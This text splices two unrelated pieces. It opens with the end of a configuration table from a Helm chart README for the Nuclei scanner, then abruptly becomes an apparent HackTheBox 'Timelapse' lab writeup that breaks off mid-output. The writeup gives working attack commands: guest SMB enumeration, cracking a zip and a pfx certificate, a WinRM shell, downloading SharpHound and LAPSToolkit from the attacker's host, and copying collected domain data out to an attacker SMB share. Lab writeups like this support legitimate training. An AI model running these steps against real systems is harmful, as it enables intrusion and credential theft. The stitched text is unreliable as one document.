Never, IfNotPresent. Defaults to Always if :latest tag is specified, or IfNotPresent otherwise. More info: https://kubernetes.io/docs/concepts/containers/images#updating-images | | parser.image.repository | string | `"docker.io/securecodebox/parser-nuclei"` | Parser image repository | | parser.image.tag | string | defaults to the charts version | Parser image tag | | parser.resources | object | { requests: { cpu: "200m", memory: "100Mi" }, limits: { cpu: "400m", memory: "200Mi" } } | Optional resources lets you control resource limits and requests for the parser container. See https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/ | | parser.scopeLimiterAliases | object | `{}` | Optional finding aliases to be used in the scopeLimiter. | | parser.tolerations | list | `[]` | Optional tolerations settings that control how the parser job is scheduled (see: https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/) | | parser.ttlSecondsAfterFinished | string | `nil` | seconds after which the Kubernetes job for the parser will be deleted. Requires the Kubernetes TTLAfterFinished controller: https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/ | | scanner.activeDeadlineSeconds | string | `nil` | There are situations where you want to fail a scan Job after some amount of time. To do so, set activeDeadlineSeconds to define an active deadline (in seconds) when considering a scan Job as failed. (see: https://kubernetes.io/docs/concepts/workloads/controllers/job/#job-termination-and-cleanup) | | scanner.affinity | object | `{}` | Optional affinity settings that control how the scanner job is scheduled (see: https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes-using-node-affinity/) | | scanner.backoffLimit | int | 3 | There are situations where you want to fail a scan Job after some amount of retries due to a logical error in configuration etc. To do so, set backoffLimit to specify the number of retries before considering a scan Job as failed. (see: https://kubernetes.io/docs/concepts/workloads/controllers/job/#pod-backoff-failure-policy) | | scanner.env | list | `[]` | Optional environment variables mapped into each scanJob (see: https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/) | | scanner.extraContainers | list | `[]` | Optional additional Containers started with each scanJob (see: https://kubernetes.io/docs/concepts/workloads/pods/init-containers/) | | scanner.extraVolumeMounts | list | `[]` | Optional VolumeMounts mapped into each scanJob (see: https://kubernetes.io/docs/concepts/storage/volumes/) | | scanner.extraVolumes | list | `[]` | Optional Volumes mapped into each scanJob (see: https://kubernetes.io/docs/concepts/storage/volumes/) | | scanner.image.pullPolicy | string | `"IfNotPresent"` | Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always if :latest tag is specified, or IfNotPresent otherwise. More info: https://kubernetes.io/docs/concepts/containers/images#updating-images | | scanner.image.repository | string | `"docker.io/projectdiscovery/nuclei"` | Container Image to run the scan | | scanner.image.tag | string | `nil` | defaults to the charts appVersion | | scanner.nameAppend | string | `nil` | append a string to the default scantype name. | | scanner.podSecurityContext | object | `{}` | Optional securityContext set on scanner pod (see: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) | | scanner.resources | object | `{}` | CPU/memory resource requests/limits (see: https://kubernetes.io/docs/tasks/configure-pod-container/assign-memory-resource/, https://kubernetes.io/docs/tasks/configure-pod-container/assign-cpu-resource/) | | scanner.securityContext | object | `{"allowPrivilegeEscalation":false,"capabilities":{"drop":["all"]},"privileged":false,"readOnlyRootFilesystem":false,"runAsNonRoot":false}` | Optional securityContext set on scanner container (see: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) | | scanner.securityContext.allowPrivilegeEscalation | bool | `false` | Ensure that users privileges cannot be escalated | | scanner.securityContext.capabilities.drop[0] | string | `"all"` | This drops all linux privileges from the container. | | scanner.securityContext.privileged | bool | `false` | Ensures that the scanner container is not run in privileged mode | | scanner.securityContext.readOnlyRootFilesystem | bool | `false` | Prevents write access to the containers file system | | scanner.securityContext.runAsNonRoot | bool | `false` | Enforces that the scanner image is run as a non root user | | scanner.suspend | bool | `false` | if set to true the scan job will be suspended after creation. You can then resume the job using `kubectl resume <jobname>` or using a job scheduler like kueue | | scanner.tolerations | list | `[]` | Optional tolerations settings that control how the scanner job is scheduled (see: https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/) | | scanner.ttlSecondsAfterFinished | string | `nil` | seconds after which the Kubernetes job for the scanner will be deleted. Requires the Kubernetes TTLAfterFinished controller: https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/ | ## License [![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) Code of secureCodeBox is licensed under the [Apache License 2.0][scb-license]. [scb-owasp]: https://www.owasp.org/index.php/OWASP_secureCodeBox [scb-docs]: https://www.securecodebox.io/ [scb-site]: https://www.securecodebox.io/ [scb-github]: https://github.com/secureCodeBox/ [scb-twitter]: https://twitter.com/secureCodeBox [scb-slack]: https://join.slack.com/t/securecodebox/shared_invite/enQtNDU3MTUyOTM0NTMwLTBjOWRjNjVkNGEyMjQ0ZGMyNDdlYTQxYWQ4MzNiNGY3MDMxNThkZjJmMzY2NDRhMTk3ZWM3OWFkYmY1YzUxNTU [scb-license]: https://github.com/secureCodeBox/secureCodeBox/blob/master/LICENSE [Nuclei Website]: https://nuclei.projectdiscovery.io/ [Nuclei GitHub]: https://github.com/projectdiscovery/nuclei [Nuclei Documentation]: https://nuclei.projectdiscovery.io/nuclei/get-started/
# Timelapse ## Introduction Welcome to my another writeup! In this HackTheBox [Timelapse](https://app.hackthebox.com/machines/Timelapse) machine, you'll learn: Enumerating SMB shares, cracking password protected zip file and `pfx` certificate, anti-virus bypass, privilege escalation via clear-text credentials in PowerShell history, dumping LAPS password, and more! Without further ado, let's dive in. - Overall difficulty for me (From 1-10 stars): ★★★★☆☆☆☆☆☆ ## Table of Content 1. **[Service Enumeration](#service-enumeration)** 2. **[Initial Foothold](#initial-foothold)** 3. **[Privilege Escalation: legacyy to svc_deploy](#privilege-escalation)** 4. **[Privilege Escalation: svc_deploy to Administrator](#svc_deploy-to-administrator)** 5. **[Conclusion](#conclusion)** ## Background ![](https://github.com/siunam321/CTF-Writeups/blob/main/HackTheBox/Timelapse/images/Timelapse.png) ## Service Enumeration **Create 2 environment variables for future use:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|15:28:37(HKT)] └> export RHOSTS=10.10.11.152 ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|15:28:39(HKT)] └> export LHOST=`ifconfig tun0 | grep -E 'inet [0-9]+\.[0-9]+\.[0-9]+\.[0-9]' | cut -d' ' -f10` ``` As usual, scan the machine for open ports via `rustscan` and `nmap`! **Rustscan:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|15:28:55(HKT)] └> mkdir scanning; rustscan --ulimit 5000 -b 4500 -t 2000 --range 1-65535 $RHOSTS -- -sC -sV -Pn -oN scanning/rustscan.txt [...] Open 10.10.11.152:53 Open 10.10.11.152:88 Open 10.10.11.152:135 Open 10.10.11.152:139 Open 10.10.11.152:389 Open 10.10.11.152:445 Open 10.10.11.152:464 Open 10.10.11.152:593 Open 10.10.11.152:636 Open 10.10.11.152:3268 Open 10.10.11.152:3269 Open 10.10.11.152:5986 Open 10.10.11.152:9389 Open 10.10.11.152:49667 Open 10.10.11.152:49674 Open 10.10.11.152:49673 Open 10.10.11.152:49696 [...] PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack Simple DNS Plus 88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2023-08-09 15:30:58Z) 135/tcp open msrpc syn-ack Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack 464/tcp open kpasswd5? syn-ack 593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0 636/tcp open ldapssl? syn-ack 3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl? syn-ack 5986/tcp open ssl/http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | ssl-cert: Subject: commonName=dc01.timelapse.htb | Issuer: commonName=dc01.timelapse.htb | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2021-10-25T14:05:29 | Not valid after: 2022-10-25T14:25:29 | MD5: e233:a199:4504:0859:013f:b9c5:e4f6:91c3 | SHA-1: 5861:acf7:76b8:703f:d01e:e25d:fc7c:9952:a447:7652 | -----BEGIN CERTIFICATE----- [...] |_-----END CERTIFICATE----- |_http-server-header: Microsoft-HTTPAPI/2.0 | tls-alpn: |_ http/1.1 |_http-title: Not Found |_ssl-date: 2023-08-09T15:32:28+00:00; +8h00m00s from scanner time. 9389/tcp open mc-nmf syn-ack .NET Message Framing 49667/tcp open msrpc syn-ack Microsoft Windows RPC 49673/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc syn-ack Microsoft Windows RPC 49696/tcp open msrpc syn-ack Microsoft Windows RPC Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows ``` **`nmap` UDP port scan:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|15:29:07(HKT)] └> sudo nmap -v -sU -Pn $RHOSTS -oN scanning/nmap-udp-top1000.txt [...] PORT STATE SERVICE 88/udp open kerberos-sec 123/udp open ntp ``` According to `rustscan` and `nmap` result, the target machine has 18 port are opened: |Open Port | Service | |:---: |:---: | |53/TCP | Simple DNS Plus | |88/TCP/UDP | Kerberos | |123/UDP | NTP | |135/TCP, 593/TCP, 49667/TCP, 49673/TCP, 49674/TCP, 49696/TCP| RPC| |139/TCP | NetBIOS | |389/TCP, 3268/TCP | LDAP | |445/TCP | SMB | |464/TCP | Kerberos Password Change | |636/TCP, 3269/TCP | LDAPS | |5986/TCP | WinRM with SSL | |9389/TCP | .NET Message Framing | **Also, we can add new hosts from the `nmap` script scan (`-sC`) result to `/etc/hosts`:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|15:34:07(HKT)] └> echo "$RHOSTS timelapse.htb dc01.timelapse.htb" | sudo tee -a /etc/hosts 10.10.11.152 timelapse.htb dc01.timelapse.htb ``` Moreover, the Kerberos service suggested that **this machine is an Active Directory's Domain Controller**. ### DNS on TCP port 53 **Enumerate DNS records:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|15:43:57(HKT)] └> dig ANY timelapse.htb ; <<>> DiG 9.18.16-1-Debian <<>> ANY timelapse.htb ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 33166 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 512 ;; QUESTION SECTION: ;timelapse.htb. IN ANY ;; AUTHORITY SECTION: . 86392 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2023080900 1800 900 604800 86400 ;; Query time: 3 msec ;; SERVER: 10.69.96.2#53(10.69.96.2) (TCP) ;; WHEN: Wed Aug 09 15:43:58 HKT 2023 ;; MSG SIZE rcvd: 117 ``` No records. ### LDAP/S on TCP port 389, 636, 3268, 3269 **Try to use `ldapdomaindump` as guest user to dump all the information about the domain:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|15:45:21(HKT)] └> mkdir ldapdomaindump ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|15:45:30(HKT)] └> ldapdomaindump $RHOSTS -o ldapdomaindump/ [*] Connecting as anonymous user, dumping will probably fail. Consider specifying a username/password to login with [*] Connecting to host... [*] Binding to host [+] Bind OK [*] Starting domain dump [+] Domain dump finished ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|15:46:03(HKT)] └> ls -lah ldapdomaindump total 76K drwxr-xr-x 2 siunam nam 4.0K Aug 9 15:45 . drwxr-xr-x 5 siunam nam 4.0K Aug 9 15:45 .. -rw-r--r-- 1 siunam nam 584 Aug 9 15:45 domain_computers_by_os.html -rw-r--r-- 1 siunam nam 158 Aug 9 15:45 domain_computers.grep -rw-r--r-- 1 siunam nam 917 Aug 9 15:45 domain_computers.html -rw-r--r-- 1 siunam nam 2 Aug 9 15:45 domain_computers.json -rw-r--r-- 1 siunam nam 72 Aug 9 15:45 domain_groups.grep -rw-r--r-- 1 siunam nam 820 Aug 9 15:45 domain_groups.html -rw-r--r-- 1 siunam nam 2 Aug 9 15:45 domain_groups.json -rw-r--r-- 1 siunam nam 165 Aug 9 15:45 domain_policy.grep -rw-r--r-- 1 siunam nam 971 Aug 9 15:45 domain_policy.html -rw-r--r-- 1 siunam nam 2 Aug 9 15:45 domain_policy.json -rw-r--r-- 1 siunam nam 71 Aug 9 15:45 domain_trusts.grep -rw-r--r-- 1 siunam nam 828 Aug 9 15:45 domain_trusts.html -rw-r--r-- 1 siunam nam 2 Aug 9 15:45 domain_trusts.json -rw-r--r-- 1 siunam nam 584 Aug 9 15:45 domain_users_by_group.html -rw-r--r-- 1 siunam nam 132 Aug 9 15:45 domain_users.grep -rw-r--r-- 1 siunam nam 905 Aug 9 15:45 domain_users.html -rw-r--r-- 1 siunam nam 2 Aug 9 15:45 domain_users.json ``` No result, which means we need valid domain user credentials. ### SMB on TCP port 445 **Enumerate SMB shares as guest user:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|15:31:17(HKT)] └> smbmap -H $RHOSTS -u 'Guest' -p '' [...] [+] IP: 10.10.11.152:445 Name: 10.10.11.152 Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON NO ACCESS Logon server share Shares READ ONLY SYSVOL NO ACCESS Logon server share ``` - Non-default share: `Shares` **Listing directories on `Shares`:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|15:36:50(HKT)] └> smbmap -H $RHOSTS -u 'Guest' -p '' -R 'Shares' [+] IP: 10.10.11.152:445 Name: timelapse.htb Disk Permissions Comment ---- ----------- ------- Shares READ ONLY .\Shares\* dr--r--r-- 0 Mon Oct 25 23:55:14 2021 . dr--r--r-- 0 Mon Oct 25 23:55:14 2021 .. dr--r--r-- 0 Tue Oct 26 03:40:06 2021 Dev dr--r--r-- 0 Mon Oct 25 23:55:14 2021 HelpDesk .\Shares\Dev\* dr--r--r-- 0 Tue Oct 26 03:40:06 2021 . dr--r--r-- 0 Tue Oct 26 03:40:06 2021 .. fr--r--r-- 2611 Tue Oct 26 05:05:30 2021 winrm_backup.zip .\Shares\HelpDesk\* dr--r--r-- 0 Mon Oct 25 23:55:14 2021 . dr--r--r-- 0 Mon Oct 25 23:55:14 2021 .. fr--r--r-- 1118208 Mon Oct 25 23:55:14 2021 LAPS.x64.msi fr--r--r-- 104422 Mon Oct 25 23:55:14 2021 LAPS_Datasheet.docx fr--r--r-- 641378 Mon Oct 25 23:55:14 2021 LAPS_OperationsGuide.docx fr--r--r-- 72683 Mon Oct 25 23:55:14 2021 LAPS_TechnicalSpecification.docx ``` Hmm... What's that `winrm_backup.zip` in `Dev` directory? **Let's download all of the files:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|15:38:22(HKT)] └> mkdir smb_findings; cd smb_findings ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse/smb_findings)-[2023.08.09|15:42:05(HKT)] └> smbmap -H $RHOSTS -u 'Guest' -p '' -R 'Shares' -A '.*' [+] IP: 10.10.11.152:445 Name: timelapse.htb [+] Starting search for files matching '.*' on share Shares. [+] Match found! Downloading: Shares\Dev\winrm_backup.zip [+] Match found! Downloading: Shares\HelpDesk\LAPS.x64.msi [+] Match found! Downloading: Shares\HelpDesk\LAPS_Datasheet.docx [+] Match found! Downloading: Shares\HelpDesk\LAPS_OperationsGuide.docx [+] Match found! Downloading: Shares\HelpDesk\LAPS_TechnicalSpecification.docx ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse/smb_findings)-[2023.08.09|15:42:34(HKT)] └> file * 10.10.11.152-Shares_Dev_winrm_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate 10.10.11.152-Shares_HelpDesk_LAPS_Datasheet.docx: Microsoft Word 2007+ 10.10.11.152-Shares_HelpDesk_LAPS_OperationsGuide.docx: Microsoft Word 2007+ 10.10.11.152-Shares_HelpDesk_LAPS_TechnicalSpecification.docx: Microsoft Word 2007+ 10.10.11.152-Shares_HelpDesk_LAPS.x64.msi: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Local Administrator Password Solution, Author: Microsoft Corporation, Keywords: Installer, Comments: Version: 6.2.0.0, Template: x64;1033, Revision Number: {7E1C3ED1-C10E-4A84-AE14-E165EF9C0C8F}, Create Time/Date: Wed May 5 15:54:22 2021, Last Saved Time/Date: Wed May 5 15:54:22 2021, Number of Pages: 500, Number of Words: 2, Name of Creating Application: Windows Installer XML Toolset (3.14.0.4118), Security: 2 ``` In here, we downloaded a few files, those Word documents and the `zip` file looks interesting. **Let's unzip `winrm_backup.zip` first:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse/smb_findings)-[2023.08.09|15:46:55(HKT)] └> unzip 10.10.11.152-Shares_Dev_winrm_backup.zip Archive: 10.10.11.152-Shares_Dev_winrm_backup.zip [10.10.11.152-Shares_Dev_winrm_backup.zip] legacyy_dev_auth.pfx password: skipping: legacyy_dev_auth.pfx incorrect password ``` It requires password... **We can crack it via `zip2john` and `john`:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse/smb_findings)-[2023.08.09|15:47:35(HKT)] └> zip2john 10.10.11.152-Shares_Dev_winrm_backup.zip > winrm_backup.zip.hash [...] ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse/smb_findings)-[2023.08.09|15:47:45(HKT)] └> john --wordlist=/usr/share/wordlists/rockyou.txt winrm_backup.zip.hash [...] {Redacted} (10.10.11.152-Shares_Dev_winrm_backup.zip/legacyy_dev_auth.pfx) [...] ``` Cracked! **Unzip it again with the cracked password:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse/smb_findings)-[2023.08.09|15:48:13(HKT)] └> unzip 10.10.11.152-Shares_Dev_winrm_backup.zip Archive: 10.10.11.152-Shares_Dev_winrm_backup.zip [10.10.11.152-Shares_Dev_winrm_backup.zip] legacyy_dev_auth.pfx password: inflating: legacyy_dev_auth.pfx ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse/smb_findings)-[2023.08.09|15:48:18(HKT)] └> file legacyy_dev_auth.pfx legacyy_dev_auth.pfx: data ``` After unzipped, it has a `pfx` file. A [Personal Information Exchange (.pfx) Files](https://learn.microsoft.com/en-us/windows-hardware/drivers/install/personal-information-exchange---pfx--files "Personal Information Exchange (.pfx) Files"), is password protected file certificate commonly used for **code signing your application**. (From [https://www.advancedinstaller.com/what-is-pfx-certificate.html](https://www.advancedinstaller.com/what-is-pfx-certificate.html)) **That being said, we can crack its password via `pfx2john` and `john`:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse/smb_findings)-[2023.08.09|15:58:36(HKT)] └> pfx2john legacyy_dev_auth.pfx > legacyy_dev_auth.pfx.hash ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse/smb_findings)-[2023.08.09|15:58:40(HKT)] └> john --wordlist=/usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx.hash [...] {Redacted} (legacyy_dev_auth.pfx) [...] ``` Cracked again! **`LAPS_Datasheet.docx`:** ![](https://github.com/siunam321/CTF-Writeups/blob/main/HackTheBox/Timelapse/images/Pasted%20image%2020230809155017.png) After reading `LAPS_Datasheet.docx`, `LAPS_OperationsGuide.docx`, and `LAPS_TechnicalSpecification.docx`, it's clear that the Active Directory environment is using LAPS (Local Administrator Password Solution). Those files in `HelpDesk` directory can be found in [https://www.microsoft.com/en-US/download/details.aspx?id=46899](https://www.microsoft.com/en-US/download/details.aspx?id=46899). > **LAPS** allows you to **manage the local Administrator password** (which is **randomised**, unique, and **changed regularly**) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES. (From [https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps)) According to [HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps), we can dump LAPS passwords. However, we need to gain initial foothold first. ## Initial Foothold Now, in the cracked `legacyy_dev_auth.pfx`'s filename, it looks like the `legacyy` is a domain username, and `dev` suggests this domain user is in `dev` domain group? Also, the `auth` makes me thinking this certificate is used to do authentication. Hmm... Since WinRM is up, **maybe domain user `legacyy` is using the certificate to WinRM into the Domain Controller?** After fumbling around, I found [this blog](https://medium.com/r3d-buck3t/certificate-based-authentication-over-winrm-13197265c790), which talks about **WinRM certificate-based authentication**: ![](https://github.com/siunam321/CTF-Writeups/blob/main/HackTheBox/Timelapse/images/Pasted%20image%2020230809164104.png) That being said, we can **try to WinRM into domain user `legacyy`.** **However, we need to extract the SSL certificate and private key from the `pfx` file:** (Commands are from [https://www.ibm.com/docs/en/arl/9.7?topic=certification-extracting-certificate-keys-from-pfx-file](https://www.ibm.com/docs/en/arl/9.7?topic=certification-extracting-certificate-keys-from-pfx-file)) ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse/smb_findings)-[2023.08.09|16:31:06(HKT)] └> openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key Enter Import Password: Enter PEM pass phrase: Verifying - Enter PEM pass phrase: ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse/smb_findings)-[2023.08.09|16:31:59(HKT)] └> openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy_dev_auth.crt Enter Import Password: ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse/smb_findings)-[2023.08.09|16:32:52(HKT)] └> openssl rsa -in legacyy_dev_auth.key -out legacyy_dev_auth_decrypted.key Enter pass phrase for legacyy_dev_auth.key: writing RSA key ``` **After that, we can try to use `evil-winrm`, `legacyy_dev_auth.pfx`'s SSL certificate and private key to authenticate as domain user `legacyy`:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse/smb_findings)-[2023.08.09|16:45:21(HKT)] └> evil-winrm -S -i $RHOSTS -u legacyy -c legacyy_dev_auth.crt -k legacyy_dev_auth_decrypted.key [...] *Evil-WinRM* PS C:\Users\legacyy\Documents> whoami; ipconfig /all timelapse\legacyy Windows IP Configuration Host Name . . . . . . . . . . . . : dc01 Primary Dns Suffix . . . . . . . : timelapse.htb Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No DNS Suffix Search List. . . . . . : timelapse.htb Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter Physical Address. . . . . . . . . : 00-50-56-B9-7B-4A DHCP Enabled. . . . . . . . . . . : No Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::4113:1f9:543d:6321%13(Preferred) IPv4 Address. . . . . . . . . . . : 10.10.11.152(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.254.0 Default Gateway . . . . . . . . . : 10.10.10.2 DHCPv6 IAID . . . . . . . . . . . : 33574998 DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-2C-65-68-F0-00-50-56-B9-7B-4A DNS Servers . . . . . . . . . . . : 127.0.0.1 [...] ``` I'm user `legacyy`! **user.txt:** ```shell *Evil-WinRM* PS C:\Users\legacyy\Desktop> type user.txt {Redacted} ``` ## Privilege Escalation ### legacyy to svc_deploy After gaining initial foothold, we need to escalate our privilege. To do so, we need to enumerate the system. **Domain users:** ```shell *Evil-WinRM* PS C:\Users\legacyy\Desktop> net user /domain [...] ------------------------------------------------------------------------------- Administrator babywyrm Guest krbtgt legacyy payl0ad sinfulz svc_deploy thecybergeek TRX ``` - Non-default domain user: `babywyrm`, `legacyy`, `payl0ad`, `sinfulz`, `svc_deploy`, `thecybergeek`, `TRX` **We can also use Bloodhound and Sharphound to analyze the domain's attack paths.** - **Transfer `SharpHound` collector:** ``` ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse/smb_findings)-[2023.08.09|17:02:44(HKT)] └> python3 -m http.server -d /opt/SharpHound 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... ``` ```shell *Evil-WinRM* PS C:\Users\legacyy\Desktop> IWR -Uri http://10.10.14.6/SharpHound.exe -OutFile SharpHound.exe *Evil-WinRM* PS C:\Users\legacyy\Desktop> ./SharpHound.exe --CollectionMethods All 2023-08-09T10:03:32.8558319-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote [...] 2023-08-09T10:04:17.7620823-07:00|INFORMATION|SharpHound Enumeration Completed at 10:04 AM on 8/9/2023! Happy Graphing! *Evil-WinRM* PS C:\Users\legacyy\Desktop> ls [...] Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 8/9/2023 10:04 AM 12287 20230809100416_BloodHound.zip -a---- 8/9/2023 10:03 AM 908288 SharpHound.exe -ar--- 8/9/2023 8:29 AM 34 user.txt ``` > Note: You can also transfer files via `evil-winrm`'s `download` and `upload` command. - **Upload the collected zip file via SMB:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|17:23:21(HKT)] └> impacket-smbserver attacker_share . -smb2support Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [...] ``` ```shell *Evil-WinRM* PS C:\Users\legacyy\Desktop> net use \\10.10.14.6\attacker_share The command completed successfully. *Evil-WinRM* PS C:\Users\legacyy\Desktop> copy 20230809100416_BloodHound.zip \\10.10.14.6\attacker_share\ ``` - **Unzip it:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|17:25:10(HKT)] └> unzip 20230809100416_BloodHound.zip Archive: 20230809100416_BloodHound.zip inflating: 20230809100416_computers.json inflating: 20230809100416_users.json inflating: 20230809100416_groups.json inflating: 20230809100416_containers.json inflating: 20230809100416_domains.json inflating: 20230809100416_gpos.json inflating: 20230809100416_ous.json ``` - **Use Bloodhound to view the collected data:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|17:26:27(HKT)] └> sudo neo4j start [...] ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|17:26:42(HKT)] └> bloodhound ``` ![](https://github.com/siunam321/CTF-Writeups/blob/main/HackTheBox/Timelapse/images/Pasted%20image%2020230809172708.png) - **Import the collected data:** ![](https://github.com/siunam321/CTF-Writeups/blob/main/HackTheBox/Timelapse/images/Pasted%20image%2020230809172823.png) ![](https://github.com/siunam321/CTF-Writeups/blob/main/HackTheBox/Timelapse/images/Pasted%20image%2020230809172828.png) Now, we can find the attack path that can escalate our privilege to Domain Admins. **Find all Domain Admins:** ![](https://github.com/siunam321/CTF-Writeups/blob/main/HackTheBox/Timelapse/images/Pasted%20image%2020230809172910.png) - Found 4 Domain Admins: `TRX`, `payl0ad`, `thecybergeek`, `Administrator`. **Mark them as high value:** ![](https://github.com/siunam321/CTF-Writeups/blob/main/HackTheBox/Timelapse/images/Pasted%20image%2020230809173109.png) **Shortest path to Domain Admins:** ![](https://github.com/siunam321/CTF-Writeups/blob/main/HackTheBox/Timelapse/images/Pasted%20image%2020230809173223.png) **Mark `legacyy` as owned:** ![](https://github.com/siunam321/CTF-Writeups/blob/main/HackTheBox/Timelapse/images/Pasted%20image%2020230809173244.png) After poking around at the Bloodhound, I found nothing interesting. Let's take a step back. In the downloaded Word documents in `Shares` SMB share, we knew that the Active Directory environment has implemented LAPS. **According to [HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps#check-if-activated), we can confirm LAPS is really there or not:** ```shell *Evil-WinRM* PS C:\Users\legacyy\Desktop> reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd AdmPwdEnabled REG_DWORD 0x1 ``` Yep, the Domain Controller has LAPS. Armed with above information, we can use [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) to enumerate LAPS. - **Transfer `LAPSToolkit.ps1`:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|17:38:42(HKT)] └> file /opt/LAPSToolkit.ps1 /opt/LAPSToolkit.ps1: ASCII text ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|17:38:51(HKT)] └> python3 -m http.server -d /opt 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... ``` ```shell *Evil-WinRM* PS C:\Users\legacyy\Desktop> iwr -Uri http://10.10.14.6/LAPSToolkit.ps1 -OutFile LAPSToolkit.ps1 ``` - **Import PowerShell functions from `LAPSToolkit.ps1`:** ```shell *Evil-WinRM* PS C:\Users\legacyy\Desktop> Import-Module .\LAPSToolkit.ps1 At C:\Users\legacyy\Desktop\LAPSToolkit.ps1:1 char:1 